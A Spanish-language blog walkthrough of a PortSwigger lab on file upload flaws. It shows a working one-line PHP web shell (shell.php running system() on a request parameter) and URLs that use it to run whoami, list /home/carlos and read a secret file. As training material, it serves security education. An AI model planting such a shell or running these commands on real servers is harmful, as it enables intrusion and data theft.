Blog/Remote code execution via web shell upload
Remote code execution via web shell upload
Portswigger › Portswigger Labs › File Upload Vulnerabilities

Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una función de carga de imágenes vulnerable que no realiza ninguna validación en los archivos que los usuarios suben antes de almacenarlos en el sistema de archivos del servidor. Para resolver el laboratorio, debemos subir una web shell básica en PHP, usarla para extraer el contenido del archivo /home/carlos/secret y luego enviar este secreto utilizando el botón proporcionado en la barra del laboratorio. Podemos iniciar sesión en nuestra cuenta usando las siguientes credenciales: wiener:peter
Guía de file upload vulnerabilities
Antes de completar este laboratorio es recomendable leerse esta guía de file upload vulnerabilities https://justice-reaper.github.io/posts/File-Upload-Vulnerabilities-Guide/
Resolución
Al acceder a la web nos sale esto

Pulsamos en My account e iniciamos sesión con las credenciales wiener:peter

Vemos que existe un campo de subida de archivos

Si inspeccionamos con donde se aloja la imagen vemos que es en la ruta /resources/images

Nos creamos un archivo llamado shell.php y lo subimos
<?php
echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>
Abrimos nuevamente el inspector de chrome y vemos que el archivo subido se aloja en /files/avatars

Si accedemos a https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=whoami veremos que tenemos un RCE (Remote Code Execution)

Si accedemos a https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=ls%20/home/carlos vemos un archivo llamado secret

Leemos la información de ese archivo con https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=cat%20/home/carlos/secret

Pulsamos en Submit solution y mandamos nuestra solución
